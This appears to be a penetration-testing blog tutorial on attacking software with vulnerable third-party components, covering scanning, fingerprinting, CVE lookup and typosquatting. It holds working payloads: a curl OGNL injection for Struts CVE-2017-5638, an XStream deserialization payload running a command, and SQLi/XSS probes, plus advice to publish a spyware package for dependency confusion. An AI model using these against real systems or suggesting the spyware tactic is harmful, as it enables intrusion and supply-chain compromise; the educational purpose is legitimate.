Using Components with Known Vulnerabilities

How are you unintentionally using components with known vulnerabilities?

Unless you are writing a really simple function which doesn’t do much, you will reuse software of other people. From development to deployment, you will use libraries, frameworks, technologies, etc. And guess what! Those third-party components will also depend on other components!

This comes at a cost. In fact, part of the third-party software components you will reuse will suffer from security vulnerabilities. Besides, you might even be using some malicious components. Therefore, checking your code is a need, not a luxury.

Let’s first understand how attackers find and exploit vulnerable components.

Step 1: Port Scanning – Identifying Open Services

Techniques & Tools for Port Scanning:

Before fingerprinting technologies, it's crucial to identify open ports and services running on the target system. This helps in determining which technologies might be in use.

Tools & Techniques for Port Scanning:

• Nmap – A powerful network scanner for detecting open ports and running services. Example:

nmap -sV -p- target.com

This scans all ports and retrieves service versions.

• Masscan – A fast port scanner useful for large-scale scanning.

• RustScan – An efficient alternative for scanning with automated Nmap integration.

Once open ports are identified, you can analyze the services to infer the technologies used (e.g., Apache/Nginx for web servers, MySQL/PostgreSQL for databases).

---

Step 2: Fingerprint Technologies

After identifying open ports, the next step is to determine the technologies running on the target. This includes web frameworks, CMS platforms, backend languages, and third-party services.

1. Checking HTTP Elements

HTTP responses often reveal information about the technology stack. Elements to inspect:

• HTTP headers (Server, X-Powered-By, Set-Cookie)

• Title values (<title> tag in HTML)

• Hidden links to admin panels, login pages, etc.

Automated tools for fingerprinting HTTP elements:

• Wappalyzer (Browser extension) – Detects frontend and backend technologies.
• BuiltWith (Online tool) – Provides a full breakdown of a site's stack.

Manual approach using curl:

curl -I target.com

Look for headers like:

Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3

This tells us the site runs Apache on Ubuntu with PHP 7.4.3.

Dependency Hell

Projects using package managers (npm, pip, composer) often expose old versions:

{
  "dependencies": {
    "lodash": "^4.17.15"  // Yikes, 4.x is ancient!
  }
}

---

2. Triggering Errors – Extracting Hidden Details

Web applications often expose technology details through error messages.

• Remove expected parameters (e.g., deleting ?id=1 in a URL).

• Send unexpected values (' OR 1=1--, <script>alert(1)</script>, large payloads).

Example: Discovering a PHP backend Visiting a malformed URL like target.com/index.php?id=' may return:

Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/index.php on line 45

This reveals:

• The site uses PHP (.php file extension).

• The backend relies on MySQL (mysqli).

---

3. Forced Browsing – Discovering Hidden Technologies

Some technologies can be identified by accessing default files and directories that web applications leave exposed.

Automated tools for directory enumeration:

• Dirsearch

dirsearch -u target.com -e php,html,txt

• Gobuster

gobuster dir -u target.com -w common.txt

---

4. Source Code Analysis – Direct Dependency Discovery

If you gain access to the source code, you can directly analyze dependencies. Key files to check:

• composer.json (PHP)

• package.json (JavaScript)

• requirements.txt (Python)

• .env (Environment variables – may contain secrets)

Example: Finding Laravel version A composer.json file might include:

"require": {
    "laravel/framework": "^8.12"
}

This confirms the application runs Laravel 8.12.

Advanced Techniques: Because Script Kiddies Need Not Apply

A. Static Analysis of Source Code

Use Semgrep or CodeQL to find vulnerable code patterns. Example: Find eval() calls in PHP:

pattern: eval(...)

B. Fuzzing Endpoints

Use ffuf or Burp Intruder to find hidden vulnerabilities:

ffuf -w /usr/share/wordlists/dirb/common.txt -u https://example.com/FUZZ

C. Machine Learning (ML) for Detection

Train an ML model to detect outdated versions in HTTP responses or GitHub commits.

Nuclei + Custom Templates: The Lazy Hacker’s Best Friend

Nuclei (by ProjectDiscovery) is a powerful vuln scanner. Example of Nuclei template i have write to find outdated software :

id: outdated-software-detectioninfo:
  name: Outdated Software Detection
  author: pentester_x
  severity: low
  description: |
    Detects outdated software versions by extracting version information from headers, scripts, and stylesheets.reference:
    - 
    - 
    - 
    - tags: outdated,software,vulnerable,version,cverequests:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/version"
      - "{{BaseURL}}/status"
      - "{{BaseURL}}/server-info"
      - "{{BaseURL}}/api/version"
      - "{{BaseURL}}/v1/info"
      - "{{BaseURL}}/robots.txt"matchers:
      - type: regex
        part: header
        regex:
          - '(?i)(Server|X-Powered-By|Version):.*?(Apache|nginx|PHP|WordPress|Tomcat|MySQL)/(\d+\.\d+\.\d+)'
          - '(?i)(\b\d+\.\d+\.\d+\b)'extractors:
      - type: regex
        name: software_version
        group: 3
        part: header
        regex:
          - '(?i)(Server|X-Powered-By|Version):.*?(Apache|nginx|PHP|WordPress|Tomcat|MySQL)/(\d+\.\d+\.\d+)'
      - type: regex
        name: software_version
        regex:
          - '(?i)v?(?:ersion)?[\s:]*(\d+\.\d+\.\d+)'- method: GET
    path:
      - "{{BaseURL}}/static/main.js"
      - "{{BaseURL}}/css/styles.css"
      - "{{BaseURL}}/app/build.js"
      - "{{BaseURL}}/assets/scripts.js"matchers:
      - type: regex
        regex:
          - '(?i)v?\d+\.\d+\.\d+'
          - '\s+\d+\.\d+\.\d+'extractors:
      - type: regex
        name: software_version
        regex:
          - '(?i)v?(\d+\.\d+\.\d+)'
          - '\s+(\d+\.\d+\.\d+)'

Run it:

nuclei -t outdated-software-detection -u https://example.com

Step 3: Identifying Public Vulnerabilities and Exploiting Weak Components

Once you have fingerprinted the technologies in use, the next step is to search for known vulnerabilities (CVEs) that affect those components. Public exploits may be available, allowing you to test the security of the target system.

1. Finding Known Vulnerabilities (CVEs)

There are several public databases where you can search for vulnerabilities in software components:

✅ Key resources for CVE hunting:

• Exploit-DB → Public exploits repository
• NVD (National Vulnerability Database) → CVE details
• MITRE CVE Database → Official vulnerability records
• Snyk → Open-source security scanning
• GitHub Security Advisories → Vulnerabilities in repositories

Example: Finding an Apache Struts Vulnerability

1. Identify the target framework (e.g., Apache Struts 2.3.16).

2. Search Exploit-DB, GitHub, or Metasploit for version-specific exploits. Example: Exploit Apache Struts CVE-2017–5638:

msfconsole> use exploit/multi/http/struts2_content_type_ognl

1. If you find a CVE-2017-5638, check Exploit-DB for public exploits:

site:exploit-db.com "CVE-2017-5638"

1. If an exploit exists, analyze it before execution.

2. Using Public Exploits (With Caution!)

While public exploits can be useful, never run them blindly without understanding how they work. Some exploits: ✅ Are unstable and may crash the target system. ✅ May contain malicious code that could harm your own machine.

Example: Remote Code Execution (RCE) in Apache Struts

A simple payload for CVE-2017-5638 might look like this:

curl -X POST -H "Content-Type: %{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec(‘whoami’))}" http://target.com/upload

This exploit leverages an OGNL injection vulnerability to execute arbitrary commands (whoami) on the server.

3. Dependency Confusion Attacks

If a company uses internal packages (e.g., @mycompany-private/core), upload a malicious package with the same name to public registries like npm or PyPI and wait for devs to install your spyware.

Practice examples of using components with known vulnerabilities

In this section, we will see how both vulnerable and malicious libraries can affect the security of your own code.

Case Study: Deserialization Vulnerability in XStream

OWASP WebGoat uses a vulnerable version of the XStream library to parse XML into Java objects. The vulnerable version is 1.4.5 and allows arbitrary command execution.

Finding the vulnerability in source code: In pom.xml, you might find:

A quick search reveals that XStream 1.4.5 is vulnerable to CVE-2013-7285.

Looking for public exploits on the internet reveals that this version suffers from a severe deserialization vulnerability, which leads to remote code execution.

An attacker can Send the following code which will create the file /tmp/here on the docker container.

<sorted-set>
<string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class='java.beans.EventHandler'>
      <target class='java.lang.ProcessBuilder'>
        <command>
          <string>touch</string><string>/tmp/here</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

Malicious components and Typosquatting

Attackers often take advantage of typosquatting, a technique where they create malicious software packages with names similar to legitimate ones. If developers accidentally install the rogue package, their systems can be compromised.

Typosquatting relies on human error—a small typo while installing a package can lead to serious consequences. Attackers:

• Create a package with a name that looks nearly identical to a real one.

• Publish it on a popular package manager (e.g., PyPI, NPM, RubyGems).

• Include malicious code that steals data or injects malware.

A Real-World Example for that in python3-dateutil Attack, A GitHub issue reported that an attacker created a rogue Python module named python3-dateutil, designed to resemble the legitimate package python-dateutil.

What happened?

• Developers who mistakenly installed python3-dateutil instead of python-dateutil unknowingly ran malicious code.

• The rogue package exfiltrated SSH keys and internal system files to an attacker-controlled server.

• A few hundred developers downloaded and used the malicious library, compromising their projects.

Using components with known vulnerabilities : Malicious Python package python3-dateutil exfiltrates internal files

Bug bounty hunting reports